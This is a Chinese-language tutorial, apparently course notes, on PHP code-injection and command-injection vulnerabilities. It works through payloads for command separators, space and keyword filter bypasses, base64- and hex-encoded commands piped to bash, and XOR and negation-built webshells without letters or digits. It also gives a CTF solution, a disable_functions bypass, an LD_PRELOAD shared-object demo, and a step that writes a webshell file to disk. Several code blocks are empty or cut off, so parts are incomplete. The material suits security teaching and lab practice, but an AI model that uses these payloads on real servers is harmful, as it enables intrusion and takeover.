# 08.命令和代码执行漏洞
代码执行是执行PHP代码。命令执行是执行linux系统下的命令。
这两者是有区别的。有些代码在php下看起来是有错的,但是在linux下是正确的。
一些工具
```
蚁剑: https://github.com/AntSwordProject/antSword
冰蝎: https://github.com/rebeyond/Behinder
哥斯拉: https://github.com/BeichenDream/Godzilla
```
## 1. 代码执行
代码执行漏洞(Code Injection Vulnerability)是指攻击者通过注入恶意代码使得应用程序执行了不安全的操作。这类漏洞通常发生在用户输入数据未经充分验证和过滤的情下,被直接传递给解释器或编译器执行。
php所有的函数可以查阅官方的函数手册:
[https://www.php.net/manual/zh/language.functions.php](https://www.php.net/manual/zh/language.functions.php)
在PHP中,允许我们自行传入php代码并执行。一般我们常用的有以下几种:
### 1.1 eval()
eval($string) 把参数中的字符串当做 php 代码执行。该字符串必须是合法的代码,且必须以分号结尾。
```php
```
### 1.2 assert()
assert($assertion) 如果 assertion 是字符串 ,那么将会被 assert() 当作 php 代码执行。且可以不以分号结尾。
```php
```
在PHP7 以前 assert 是作为函数。 PHP7 以后, assert 与eval 一样。都是语言构造器。不能被可变函数调用。
### 1.3 call_user_func()
call_user_func($func,$string) 该函数用于函数调用。我们第一个参数作为调用函数,第二个作为回调函数的参数。算不上代码执行。只能说是一个危险函数。
```php
//
//post:fun=assert¶=phpinfo();
```
### 1.4 create_function()
create_function($args, $code) 通过执行代码字符串创建动态函数,本函数已自 PHP 7.2.0 起被废弃,并自 PHP 8.0.0 起被移除
create_function() 是一个 PHP 内置函数,用于动态创建并返回一个匿名函数。它的语法如下:
```php
//post:func=phpinfo();
```
### 1.5 array_map()
为数组的每个元素应用回调函数,用于将一个或多个数组中的每个元素都传递给回调函数进行处理,并返回一个处理后的新数组
```php
//post:func=phpinfo
```
### 1.6 防御方法
1. 使用 json 保存数组,当读取时就不需要使用 eval 了
2. 对于必须使用 eval 的地方,一定严格处理用户数据(白名单、黑名单)
3. 字符串使用单引号包括可控代码,插入前使用 addslashes 转义(addslashes、魔术引号(php5.4后被弃用)、htmlspecialchars、 htmlentities、mysql_real_escape_string)
4. 放弃使用 preg_replace 的 e 修饰符,使用 preg_replace_callback()替换(preg_replace_callback()) **(PHP5.5 以上的版本中已被弃用)**
5. 若必须使用 preg_replace 的 e 修饰符,则必用单引号包裹正则匹配出的对象(preg_replace+正则)
## 2. 命令执行
命令执行漏洞(Command Injection Vulnerability)是一种常见的 Web 安全威胁,攻击者利用该漏洞在受害者服务器上执行恶意命令。命令执行漏洞通常发生在用户输入数据未经充分验证和过滤的情况下,被直接传递给系统命令解释器执行。
由于企业服务器大部分是Linux,所以我们可以执行如下命令开启Linux下的lnmp环境,网站根目录在`/root/wwwtest`下
```bash
docker run -d -p 10086:80 -v /root/wwwtest:/app/public fbraz3/lnmp:5.6
```
在PHP中,允许我们执行系统程序命令。一般有以下函数:
### 2.1 system()
执行外部程序,并且显示输出,返回值是状态码,执行成功返回0
```php
string system(string $command[, int &$return_var])
$command 为执行的命令, &return_var 可选,用来存放命令执行后的状态码system() 函数执行有回显,将执行结果输出到页面上
//
```
### 2.2 passthru()
执行外部程序并且显示原始输出,返回值运行后的输出
```php
void passthru(string $command[, int &$return_var])
和system 函数类似, $command 为执行的命令, &return_var 可选,用来存放命令执行后的状态码执行有回显,将执行结果输出到页面上
//
```
### 2.3 exec()
执行一个外部程序
```php
string exec(string$command[, array &$output[, int &$return_var]])
$command 是要执行的命令, $output 是获得执行命令输出的每一行字符串, $return_var 用来保存命令执行的状态码(检测成功或失败)
exec() 函数执行无回显,默认返回最后一行结果
```
### 2.4 pcntl_exec()
在当前进程空间执行指定程序
```php
void pcntl_exec(string $path[, array $args[, array $envs]])
path 是可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本
args 是一个要传递给程序的参数的字符串数组。
pcntl 是linux 下的一个扩展,需要额外安装,可以支持 php 的多线程操作。
pcntl_exec 函数的作用是在当前进程空间执行指定程序,版本要求: PHP > 4.2.0
```
### 2.5 shell_exec
通过 shell 执行命令并将完整的输出以字符串的方式返回
```php
string shell_exec(string &command)
&command 是要执行的命令, shell_exec() 函数默认无回显,通过 echo 可将执行结果输出到页面
// 通过 shell 环境执行命令,将完整的输出以字符串的方式返回
```
shell_exec() 函数实际上仅是反撇号 \` 操作符的变体,当禁用 shell_exec 时, \`也不可执行
在php 中称之为执行运算符, PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回
```php
```
### 2.6 popen()
打开进程文件指针
```php
resource popen(string $command ,string $mode)
函数需要两个参数,一个是执行的命令 command ,另外一个是指针文件的连接模式 mode ,有 r和w代表读和写。
函数不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行。
popen() 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用 pclose()来关闭。
此指针可以用于 fgets() ,fgetss() 和 fwrite()
//
```
## 3. 注入方式
Linux查看文件的几个命令
```shell
more: 一页一页的显示档案内容
less: 与more 类似 ,其优点可以往前翻页,而且进行可以搜索字符
head: 查看头几行
cat: 由第一行开始显示内容,并将所有内容输出
tac: 从最后一行开始显示,可以看出 tac 是cat 的反向显示
tail: 查看尾几行
tailf: 类似于 tail -f
nl :类似于 cat -n, 显示的时候,顺便输出行号
od: 以二进制的方式读取档案内容 ,搭配 -c 参数读内容
vi: 一种编辑器,这个也可以查看
vim: 一种编辑器,这个也可以查看
sort: 可以查看
uniq: 可以查看
window 下的转义字符为 "^",linux 下的转义字符为 "\"
```
### 3.1 管道符
命令为假可以理解成命令不存在或者命令结果为假
#### 3.1.1 Linux
`;`前面和后面命令都要执行,无论前面真假
```
#ls ; whoami
```
`|`直接执行后面的语句
```
#ls | whoami
```
`|| `如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
```
#ls || whoami
```
`&`前面和后面命令都要执行,无论前面真假
```
#ls & whoami
```
`&&`如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
```
#ls && whoami
```
#### 3.1.2 windows
`|`直接执行后面的语句
```
#dir | whoami
```
`||` 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
```
#dir || whoami
```
`&`前面和后面命令都要执行,无论前面真假
```
#dir & whoami
```
`&&` 如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
```
#dir && whoami
```
### 3.2 注释符号
与代码注释一样,合理利用的时候,命令执行能够使命令后面的其他字符成为注释内容,以达到我们想要的效果。
windows 的注释符号为 "::", 在BAT 批处理脚本中用的较多;
linux 的注释符号为 "#" ,在 bash 脚本中用的比较多。
### 3.3 实战
#### 3.3.1 ping
可以看到当我们输入一个IP地址就可以触发一个 ping IP 地址 的操作,所以我们是不是可以利用前面的注入方式来执行命令

使用如下命令
```shell
127.0.0.1&whoami
```

但是可以发现有的在cmd终端执行就可以,但是用burp重放的时候就没有效果: ping 127.0.0.1 & whoami
因为在数据包中的结果就会变成 ipaddress=127.0.0.1&whoami&submit=ping ,可以看到这个&whoami 就会被解析成一个参数,所以导致这个payload失效了。所以在能够执行的命令的payload中不能使用&字符,但是如果使用浏览器直接输入会怎么样呢?可以看到被正常执行了

尝试如下的代码
```shell
ipaddress=127.0.0.1|whoami&submit=ping
ipaddress=11||whoami&submit=ping
ipaddress=127.0.0.1|ipconfig &submit=ping
```


`ipconfig`是windows的cmd下的命令,Linux下可以使用`ifconfig`进行查看,如果`ifconfig`未安装:`apt -y install net-tools`

##### 3.3.1.1 源码分析
```php
```
可以看到使用POST接受了submit和ipaddress两个数据,然后使用 php_uname('s') 获取系统的操作类型,然后做shell_exec跟拼接导致命令执行。
#### 3.3.2 eval
可以看到当我们输入正常的Linux的命令没有正常拿到预期的结果,但是如果输入 phpinfo() ; 就会被正常解析,所以猜测后端大概是eval函数写的。

所以我们可以使用eval函数执行phpinfo的话也可以执行system命令
```php
txt=phpinfo();&submit=%E6%8F%90%E4%BA%A4
txt=system("whoami");&submit=%E6%8F%90%E4%BA%A4
写入一句话
fputs(fopen('shell.php','w'),'');
http://d19.s.iproute.cn//vul/rce/shell.php
```


##### 3.3.2.1 源码分析
```php
$html='';
if(isset($_POST['submit']) && $_POST['txt'] != null){
if(@!eval($_POST['txt'])){
$html.="
你喜欢的字符还挺奇怪的!
";
}
}
```
可以看到使用POST接受了submit和txt两个数据,然后做eval跟拼接导致命令执行。
此处有一个@符号,是错误抑制符,用来屏蔽eval()函数可能导致的错误和异常,但是不能完全避免命令执行。
## 4. 绕过
### 4.1 空格绕过
#### 4.1.1 $IFS
IFS 是一个环境变量,用于定义 shell 解释器在解析命令行输入时使用的字段分隔符。默认情况下, IFS 的值为包含空格、制表符和换行符的字符串: "\t\n"
当用户在 shell 中输入命令时, shell 解释器会将整个命令行输入拆分为多个参数,并以 $IFS 中指定的字符作为字段分隔符进行拆分,最后重新组合赋值给该变量。
直接用`$IFS` 的话,会认为解析没结束,会把后面的也当做参数解析,比如 `cat$IFSflag.php` ,会把 `IFSflag`一起当变量解析。这时候需要在 `$IFS` 后面进行截断,使解析为空,结束 `$IFS` ,正常执行后面的内容。
`$IFS` 环境变量不仅适用于 shell 解释器,还适用于其他一些命令和程序。
```bash
ca$1t${IFS}file.txt # 等同于cat file.txt
${PS2} 对应字符 ‘>’
${PS4} 对应字符 ‘+’
${IFS} 对应 内部字段分隔符
${9} 对应 空字符串
```
#### 4.1.2 标准输入
> 重导向标准输出
```bash
whoami>haha.txt
# 可以将命令的执行结果写到某个文件里面
```
< 重导向标准输入
```bash
catecho %commonprogramfiles:~17,-6%
Common
```
这种绕过方式,在下面的无参RCE部分比较常用。此处仅作了解。
#### 4.1.6 常用payload
- Linux
```shell
cat$IFS$1flag.php // 使用特殊变量, $1 改成 $加其他数字也可以
cat${IFS}flag.php // 使用 {}
cat$IFS'f'lag.php // 使用引号
cat$IFS\flag.php // 使用转义符
cat$IFS?lag.php // 使用通配符
cathaha.txt // 重定向标准输出
{cat,flag.php} // 用逗号实现了空格功能
ca\t fl\ag.php // 转义
%20 或%09 //%20 是空格、 %09 是tab (如果是防火墙过滤空格,可能会忽略url编码后的字符)
ca\t fla[a-z].php // 取值范围
```
- Windows
```shell
type.\shell.php
type,shell.php
```
- fuzz字典
Fuzz testing,也叫做模糊测试或随机测试,是一种自动化软件测试方法。它使用大量随机数据输入,以观察程序在面对非正常输入时会发生什么。该方法的主要目的是发现程序中的漏洞、错误或异常行为,以便针对这些问题进行修复和改进。Fuzz测试可以应用于各种软件应用程序,包括计算机操作系统、网络协议、数据库管理系统等。
通过fuzz字典,我们将内容提交给网站,观察返回的页面,从而推断出可能存在的屏蔽和绕过的可能
关于fuzz字典的收集,参照[https://github.com/TheKingOfDuck/fuzzDicts](https://github.com/TheKingOfDuck/fuzzDicts)
```shell
~
!
@
#
$
%
^
&
*
(
)
<
>
_
+
-
=
\
/
]
[
{
}
;
:
'
"
|
?
.
,
{IFS}
$IFS$9
%path:~10,1%
%homepath:~10,1%
%userprofile:~12,1%
%programfiles:~10,1%
%processor_identifier:~3,1%
%processor_identifier:~7,1%
%commonprogramw6432:~10,1%
%commonprogramfiles(x86):~10,1%
%commonprogramfiles:~10,1%
%commonprogramfiles:~10,-18%
%commonprogramfiles:~23,1%
%commonprogramfiles:~23,-5%
%fps_browser_app_profile_string:~8,1%
```
### 4.2 通配符
```shell
* 0到无穷个任意字符
? 一个任意字符
[ ] 一个在括号内的字符, e.g. [abcd]
[ - ] 在编码顺序内的所有字符
[^ ] 一个不在括号内的字符
```
举例
```shell
??? 在linux 里面可以进行代替字母
/???/c?t flag.php
*在linux 里面可以进行模糊匹配 ,* 进行模糊匹配 php
cat flag.*
利用通配符绕过限制,并且寻找唯一定向命令
---> 匹配后是 :?c=/bin/base64 flag.php
/???/???/????2 ???????? ---> 匹配后是 :?c=/usr/bin/bzip2 flag.php 会生成一个
flag.php.bz2 的文件
```
### 4.3 读取文件
如果前面各种Linux查看文件的命令都被拦截了我们可以使用几个函数来读取文件内容
#### 4.3.1 paste
paste 命令用于将多个文件的内容按列合并到一起。该命令从每个输入文件中读取一行文本,并在输出中使用制表符分隔它们。
```shell
paste shell.php
# 查看一个文件
paste shell.php /etc/passwd
# 查看多个文件
```
#### 4.3.2 diff
diff 命令是一个在 Linux 系统中用于比较文本文件之间差异的命令。它可以帮助用户查找和标识文件之间的修改、添加或删除行等差异。
```shell
diff ./shell.php /etc/passwd
```
#### 4.3.3 od
od命令主要是用于分析和查看二进制文件的内容,对于文本文件,它主要用于查看文件的ASCII码。
```shell
od -a shell.php
```
#### 4.3.4 curl
```shell
curl file:///root/shell.php
```
#### 4.3.5 base64
```shell
echo YWJjZGU=|base64 -d // 打印出来 abcde
echo Y2F0IC9yb290L3NoZWxsLnBocAo=|base64 -d|bash #cat /root/shell.php
echo Y2F0IC9ob21lL3QvZmxhZy5waHA=|base64 -d|sh #cat /root/shell.php
```
#### 4.3.6 hex编码
```bash
echo 636174202f726f6f742f7368656c6c2e7068700a | xxd -r -p |bash
# cat /root/shell.php
```
#### 4.3.7 unicode编码
```bash
printf "\154\163" # ls
printf "\u0063\u0061\u0074\u0020\u002f\u0072\u006f\u006f\u0074\u002f\u0073\u0068\u0065\u006c\u006c\u002e\u0070\u0068\u0070"
# cat /root/shell.php
```
#### 4.3.8 拼接
将字符串拼接在一起绕过
```bash
[root@localhost ~]# a=l;b=s;$a$b
[root@localhost ~]# a=cat;b=/root/shell.php;$a<$b
[root@localhost ~]# a=ca;b=t${IFS}/root/shell.p;c=hp;d=$a$b$c;$d
```
#### 4.3.9 未定义的变量
未定义的变量就是不存在,可以随意拼接来绕过
```bash
[root@localhost ~]# cat$x shell.php
```
#### 4.3.10 连接符
```bash
[root@localhost ~]# cat sh'e'll.php
[root@localhost ~]# c'a't$x sh'e'll.php
```
#### 4.3.11 长度限制绕过
通过命令行重定向写入命令,接着通过ls按时间排序把命令写入文件,最后执行直接在Linux终端下执行的话,创建文件需要在重定向符号之前添加命令
这里可以使用一些诸如w,[之类的短命令,(使用ls /usr/bin/?查看) 如果不添加命令,需要Ctrl+D才能结束,这样就等于标准输入流的重定向
而在php中 , 使用shell_exec等执行系统命令的函数的时候 , 是不存在标准输入流的,所以可以直接创建文件
##### 4.3.11.1 重定向写入
```bash
[root@localhost ~]# ls > a
[root@localhost ~]# cat a
```
##### 4.3.11.2 命令换行
```bash
[root@localhost ~]# cat \
> shell\
> .php
```
#### 4.3.12 source命令
使用source <文件名>用当前的shell执行一个文件中的命令
在linux下source可以利用.代替
```bash
[root@localhost ~]# source shell.php
[root@localhost ~]# . shell.php
```
### 4.4 特殊姿势
#### 4.4.1 无参RCE
无参RCE(Remote Code Execution)是一种 Web 漏洞攻击技术,其目的是通过向远程服务器发送恶意请求,以执行任意代码并控制受害者系统。
无参指的是攻击者不需要提供任何参数或数据即可触发漏洞,从而执行恶意代码。这通常是由于缺少输入验证和过滤导致的。
无参RCE攻击通常利用Web应用程序的漏洞,例如未正确验证用户输入,或使用了已知的安全漏洞或错误配置。攻击者可以构造恶意请求,将攻击代码注入到应用程序中,并在服务器上执行该代码。
以下内容可自由搭配。并在php代码中调试。
##### 4.4.1.1 数组操作
| 函数 | 功能 |
| ---------------------------------------- | ------------------------------------------------------------ |
| Curent | 返回数组中当前元素的值 |
| Array_reverse | 以相反的顺序返回数组 |
| Array_rand | 随机取出数组中的一个或多个单元 |
| Array_filp | 交换数组的键和值 |
| getallheaders | 包含当前请求所有头信息的数组 |
| get_defined_vars | 返回数组中的单元且初始指针指向数组的第一个单元 |
| session_id | 返回当前会话ID |
| session_start | 启动新会话或者重用现有会话 |
| scandir(directory,sorting_order,context) | 以数组形式返回文件和目录,第一个参数是目录,第二个是排序方式 |
| end | 将数组中的内部指针指向最后一个单元 |
| key | 从关联数组中取得键名 |
| each | 返回数组中当前的键值对,并将数组指针向前移动一步 |
| prev | 将数组的内部指针倒回一位 |
| reset | 将数组的内部指针指向第一个单元 |
| next | 将数组的内部指针向前移动一位 |
##### 4.4.1.2 文件操作
| 函数 | 功能 |
| ------------------------------ | ------------------------------------------------------------ |
| Localeconv() | 返回包含本地数字及货币格式信息的数组,该函数的第一个值就是”.” |
| Print_r() | 打印变量 |
| Readfile | 读取文件并写入到输出缓冲。 |
| pos | 取第一个值 |
| chdir | 用来跳目录的,将PHP的当前目录改为directory |
| file_get_contents() | 将整个文件读入一个字符串 |
| highlight_file()/show_source() | 语法高亮一个文件 |
| scandir() | 列出指定路径中的文件和目录 |
| direname() | 给出一个包含有指向一个文件的全路径的字符串,本函数返回去掉文件名后的目录名。 |
| dirname() | 目录上跳,返回父目录的路径 |
| getcwd() | 取得当前工作目录 |
| get_defined_vars() | 此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。 |
| getenv | 获取一个环境变量的值 |
| phpversion() | 获取当前的PHP版本 |
##### 4.4.1.3 其他函数
| 函数 | 功能 |
| ---------------------------------------------- | ------------------------------------------------------------ |
| chr() | 返回指定的字符 |
| rand() | 产生一个随机整数 |
| time() | 返回当前的Unix时间戳 |
| localtime() | 取得本地时间 |
| localtime(time()) | 返回一个数组,Array[0] 为一个0~60之间的数字 |
| hex2bin() | 转换十六进制字符串为二进制字符串 |
| ceil() | 进一法取整 |
| sinh() | 双曲正弦 |
| cosh() | 双曲余弦 |
| tan() | 正切 |
| floor() | 舍去法取整 |
| sqrt() | 平方根 |
| crypt() | 单向字符串散列 |
| hebrevc | 将逻辑顺序希伯来文(logical-Hebrew)转换为视觉顺序希伯来文(visual-Hebrew),并且转换换行符 |
| hebrevc(crypt(arg))[crypt(serialize(array()))] | 可以随机生成一个hash值 第一个字符随机是$(大概率)或者.(小概率)然后通过ord chr只取第一个字符 |
| ord() | 返回字符串的第一个字符的ASCII码值 |
部分函数使用案例
```php
.
// [1] => ..
// [2] => info.php
// [3] => test.php
// )
print_r(array_reverse(scandir(current(localeconv())))); // 将数组反转
// Array
// (
// [0] => test.php
// [1] => info.php
// [2] => ..
// [3] => .
// )
print_r(array_reverse(scandir(current(localeconv())))[0]); // 拿到指定的文件名
// test.php
print_r(readfile(array_reverse(scandir(current(localeconv())))[0])); // 输出文件内容
//
print_r(readfile(scandir(current(localeconv()))[2])); // 直接输出文件内容
//
?>
```
#### 4.4.2 无字母数字webshell
##### 4.4.2.1 异或
实现代码
通过如下代码得到_GET字符的异或
```php
// ('%ff%ff%ff%ff')^('%a0%b8%ba%ab')
```
测试的php代码
```php
服务器看到的参数是:' . $a;
eval($a);
}
?>
```
使用如下payload
```
http://localhost:8080/test.php?shell=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
其实传入的是shell=$_GET{%ff特殊字符}();&%ff特殊字符=phpinfo
当服务器读取$_GET['shell']的时候,会拿到一堆乱码,所以waf无法通过规则过滤
即使过滤了所有的字母和数字,一样会触发代码执行漏洞
```

##### 4.4.2.2 取反
取反的符号是~,也是一种运算符。在数值的二进制表示方式上,将0变为1,将1变为0。
```php
```
**PHP 5 和 PHP 7 的区别**
(1)在 PHP 5 中,assert()是一个函数,我们可以用`$_=assert;$_()`这样的形式来实现代码的动态执行。但是在 PHP 7 中,assert()变成了一个和eval()一样的语言结构,不再支持上面那种调用方法。(但是好像在 PHP 7.0.12 下还能这样调用)
(2)PHP5中,是不支持($a)()这种调用方法的,但在 PHP 7 中支持这种调用方法,因此支持这么写('phpinfo')();

##### 4.4.2.3 构造POST
```php
%9E^%FF=>a
%8C^%FF=>s
%9A^%FF=>e
%8D^%FF=>r
%8B^%FF=>t
%A0^%FF=>_
%AF^%FF=>P
%B0^%FF=>O
%AC^%FF=>S
%AB^%FF=>T
$_="%9E%8C%8C%9A%8D%8B"^"%FF%FF%FF%FF%FF%FF";
$__="%A0%AF%B0%AC%AB"^"%FF%FF%FF%FF%FF";
$___=$$__;
$_($___[_]);
```
payload
```
http://localhost:8080/test.php?shell=$_="%9E%8C%8C%9A%8D%8B"^"%FF%FF%FF%FF%FF%FF";$__="%A0%AF%B0%AC%AB"^"%FF%FF%FF%FF%FF";$___=$$__;$_($___[_]);
# 需要添加POST
_=phpinfo();
```

下面这个脚本可以将“assert”变成两个字符串异或的结果,通过更改shell的值可以构造出我们想要的字符串。为了便于表示,生成字符串的范围为33-126(可见字符)。
```php
```
生成的payload为
```php
```
url编码后
```
http://localhost:8080/test.php?shell=
%24_%20%3D%20%22!((%25)(%22%5E%22%40%5B%5B%40%5B%5C%5C%22%3B%0A%24__%20%3D%20%22!%2B%2F((%22%5E%22~%7B%60%7B%7C%22%3B%0A%24___%20%3D%20%24%24__%3B%0A%24_(%24___%5B_%5D)%3B
```

另外一种方法
```php
```
拼接后如下
```php
```
修改后的payload为
```
http://localhost:8080/test.php?shell=$_=~"%9e%8c%8c%9a%8d%8b";$__=~"%a0%af%b0%ac%ab";$___=$$__;$_($___[_]);
```

PHP5中,assert()是一个函数,我们可以用_()这样的形式来执行代码。但在PHP7中,assert()变成了一个和eval()一样的语言结构,不再支持上面那种调用方法。但PHP7.0.12下还能这样调用。下还能这样调用。

PHP5中,是不支持($a)()这种调用方法的,但在PHP7中支持这种调用方法,因此支持这么写

##### 4.4.2.4 绕过`_`过滤
分析下这个Payload,?>闭合了eval自带的<?标签。接下来使用了短标签。{}包含的PHP代码可以被执行,~"%a0%b8%ba%ab"为"_GET",通过反引号进行shell命令执行。最后我们只要GET传参%a0即可执行命令。
```
http://localhost:8080/test.php?shell=?>=`{${~"%a0%b8%ba%ab"}[%a0]}`?>&%a0=ipconfig
```

##### 4.4.2.5 绕过`$`过滤
php7下面的上面编码已经解决
下面解决php5下面的问题
构建环境
```
docker run --rm -d -p 9090:80 -v `pwd`:/var/www/html php:5.6-apache
```
PHP代码,这次屏蔽`$`和`_`
```php
35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}
?>
```
Linux shell知识点:
1. shell下可以利用.来执行任意脚本
2. Linux文件名支持用glob通配符代替
执行. /tmp/phpXXXXXX,也是有字母的。此时就可以用到Linux下的glob通配符:
1. *可以代替0个及以上任意字符
2. ?可以代表1个任意字符
那么,/tmp/phpXXXXXX就可以表示为/*/?????????或/???/?????????。
但我们尝试执行. /???/?????????,却会报错,因为能被匹配上的文件有很多。
翻开ascii码表,可见大写字母位于@与[之间:

那么,我们可以利用[@-[]来表示大写字母:
```bash
ls /???/????????[@-[]
```

当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。
POST数据报文如下
```
POST /test.php?code=?>=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%40-[]`%3b?> HTTP/1.1
Host: 192.168.173.144:9090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Connection: close
Content-Type: multipart/form-data; boundary=--------253975810
Content-Length: 145
----------253975810
Content-Disposition: form-data; name="file"; filename="1.txt"
#!/bin/sh
cat /etc/os-release
----------253975810--
```

##### 4.4.2.6 CTF实战
题目
index.php
```php
40){ //检测字符长度
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){ //限制字母和数字
die("NO.");
}
@eval($code); //$code的值要为非字母和数字
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
```
flag.php
```php
```
###### 4.4.2.6.1 解题过程
```php
//_POST和_GET的异或如下
/"); //_GET
//也可以使用编码后的版本
var_dump("%ff%ff%ff%ff"^"%a0%b8%ba%ab"); //_GET
?>
```
webshell
```php
$_="%ff%ff%ff%ff"^"%a0%b8%ba%ab";${$_}[_](${$_}[__]);&_=getFlag
$_="%ff%ff%ff%ff"^"%a0%b8%ba%ab"; //_GET
${$_}[_](${$_}[__]); //$_GET[_]($_GET[__])
&_=getFlag //执行函数 eval("getFlag(null)")
```

执行任意代码
```
http://localhost:8080/?code=$_="%ff%ff%ff%ff"^"%a0%b8%ba%ab";${$_}[_](${$_}[__]);&_=assert&__=phpinfo()
```

也可以使用取反的方式
对getFlag进行取反得到`$_=~%98%9A%8B%B9%93%9E%98;$_();`
webshell为

##### 4.4.2.7 webshell汇总
webshell1
```php
```

也可以节约长度,将webshell精简
```php
```
webshell2
中文编码在截取部分之后可以得到英文字符
```php
php > echo ~('瞰'[1]);
a
php > echo ~('和'[1]);
s
php > echo ~('和'[1]);
s
php > echo ~('的'[1]);
e
php > echo ~('半'[1]);
r
php > echo ~('始'[1]);
t
```
webshell如下
```php
'>'<')+('>'>'<'); //True+True=2;$__=2
$_=$__/$__; //$_=2/2=1
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
// 得到assert
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
// 得到_POST
$_=$$_____;
// 得到$_POST数组
$____($_[$__]);
// 相当于执行了assert($_POST[2])
?>
```

webshell3
在处理字符变量的算数运算时,PHP沿袭了Perl 的习惯,而非C的。例如,在Perl中`$a='Z'; a++;` 将把 a变成AA,注意字符变量只能递增,不能递减,并且只支持纯字母(a-z和A-Z) 。递增/递减其他字符变量则无效,原字符串没有变化。
```php
```

而在 C 中,`a='Z';a++;`将把a变成中`[` (`Z`的 ASCII 值是 90,`[`的 ASCII 值是 91)。

那么如何拿到字符串'a'的变量呢?
数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。
在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array:再取这个字符串的第一个字母,就可以获得'A'了。

基于此原理,我们可以构造如下的webshell
```php
```

#### 4.4.3 disable_function
可以在phpinfo中查看disable_function,这个其实就是在后端的php.ini写了禁用的函数

##### 4.4.3.1 预期解法
因为我们不能利用命令执行去读取文件了。因此我们只能利用php的代码执行去读文件。常见的php读文件有
1. highlight_file()
2. file_get_contents()
3. show_source()
4. fgets()
5. file()
6. readfile()
##### 4.4.3.2 其他姿势
```php
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
copy("flag.php","flag.txt");
rename("flag.php","flag.txt");
```
#### 4.4.4 LD_PRELOAD
LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。
一方面,可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面也可以以向别人的程序注入程序,从而达到特定的攻击目的。
通过环境变量LD_PRELOAD劫持系统函数,可以达到不调用PHP的各种命令执行函数(system()、exec() 等等)仍可执行系统命令的目的。
想要利用LD_PRELOAD环境变量绕过disable_functions需要注意以下几点:
1. 能够上传自己的 .so 文件
2. 能够控制 LD_PRELOAD 环境变量的值,比如 putenv() 函数
3. 因为新进程启动将加载 LD_PRELOAD 中的 .so 文件,所以要存在可以控制 PHP 启动外部程序的函数并能执行,比如mail() 、imap_mail() 、mb_send_mail() 和error_log() 函数等
一般而言,利用漏洞控制web启动新进程a.bin(即便进程名无法让我随意指定),新进程a.bin内部调用系统函数b(),b()位于系统共享对象c.so中,所以系统为该进程加载共享对象c.so,想办法在加载c.so前优先加载可控的c_evil.so,c_evil.so内含与b()同名的恶意函数,由于c_evil.so优先级较高,所以,a.bin将调用到c_evil.so内的b()而非系统的c.so内b(),同时,c_evil.so可控,达到执行恶意代码的目的。
基于这一思路,常见突破disable_functions限制执行操作系统命令的方式为:
1. 编写一个原型为 uid_t getuid(void); 的C函数,内部执行攻击者指定的代码,并编译成共享对象getuid_shadow.so ;
2. 运行 PHP 函数 putenv()( 用来配置系统环境变量 ),设定环境变量 LD_PRELOAD 为getuid_shadow.so ,以便后续启动新进程时优先加载该共享对象;
3. 运行 PHP 的mail() 函数, mail() 内部启动新进程 /usr/sbin/sendmail, 由于上一步 LD_PRELOAD 的作用,sendmail 调用的系统函数 getuid() 被优先级更好的 getuid_shadow.so 中的同名 getuid() 所劫持;
4. 达到不调用 PHP 的各种命令执行函数 (system() 、exec() 等等 )仍可执行系统命令的目的。
之所以劫持getuid(),是因为sendmail程序会调用该函数(当然也可以为其他被调用的系统函数),在真实环境中,存在两方面问题:
1. 某些环境中, web 禁止启用 sendmail 、甚至系统上根本未安装 sendmail ,也就谈不上劫持getuid() ,通常的 www-data 权限又不可能去更改 php.ini 配置、去安装 sendmail 软件;
2. 即便目标可以启用 sendmail ,由于未将主机名 (hostname 输出 )添加进 hosts 中,导致每次运行sendmail 都要耗时半分钟等待域名解析超时返回 ,www-data 也无法将主机名加入 hosts( 如127.0.0.1lamp\lamp.\lamp.com) 。
##### 4.4.4.1 实现demo
安装gcc环境
```bash
yum -y install gcc
```
编写c语言源码demo.c
```c
# include
# include
# include
__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
system("id");
}
```
编译和环境配置
```bash
[root@localhost ~]# gcc -shared -fPIC demo.c -o demo.so
[root@localhost ~]# echo "export LD_PRELOAD=/root/demo.so" >> ~/.bashrc
[root@localhost ~]# source ~/.bashrc
[root@localhost ~]# ls
uid=0(root) gid=0(root) 组=0(root) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
